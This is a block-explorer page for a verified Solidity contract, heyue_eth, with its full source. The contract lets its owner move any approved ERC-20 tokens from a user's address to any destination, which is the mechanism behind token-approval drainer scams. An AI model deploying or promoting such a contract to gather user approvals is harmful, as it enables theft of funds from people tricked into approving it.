Verified contractExactMIT
heyue_eth
Address0x08db079e6394144a4a331a2f40543d699a22a1e4
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.24
- Same code
Only this contract
Details
- Compiler
- solc 0.8.24+commit.e11b9ed9
- Language
- solidity
- Optimization
- No
- EVM version
- paris
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,440,879
- Creation transaction
- 0xa6f0cb16a3…4b544819a3
contracts/heyue_eth.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
interface IERC20Eth {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
/// @title heyue_eth
/// @notice Owner-controlled ERC-20 transferFrom spender for Ethereum/EVM chains.
/// @dev Users must approve this contract address before the owner can transfer tokens.
contract heyue_eth {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event TokenTransferred(
address indexed token,
address indexed from,
address indexed to,
uint256 amount
);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
modifier onlyOwner() {
require(msg.sender == owner, "Only the contract owner can perform this action");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner cannot be the zero address");
address previousOwner = owner;
owner = newOwner;
emit OwnershipTransferred(previousOwner, newOwner);
}
function controlAndTransferToken(
address tokenAddress,
address from,
address to,
uint256 amount
) public onlyOwner {
require(tokenAddress.code.length > 0, "Token address is not a contract");
require(amount > 0, "Amount must be greater than zero");
uint256 approvedAmount = IERC20Eth(tokenAddress).allowance(from, address(this));
require(approvedAmount >= amount, "Contract has not been given enough allowance");
// Some older ERC-20 tokens return no data, while standard tokens return bool.
// Accept both forms, but reject a failed call or an explicit false result.
(bool callSucceeded, bytes memory returnData) = tokenAddress.call(
abi.encodeWithSelector(IERC20Eth.transferFrom.selector, from, to, amount)
);
require(
callSucceeded && (returnData.length == 0 || abi.decode(returnData, (bool))),
"Token transfer failed"
);
emit TokenTransferred(tokenAddress, from, to, amount);
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "paris",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.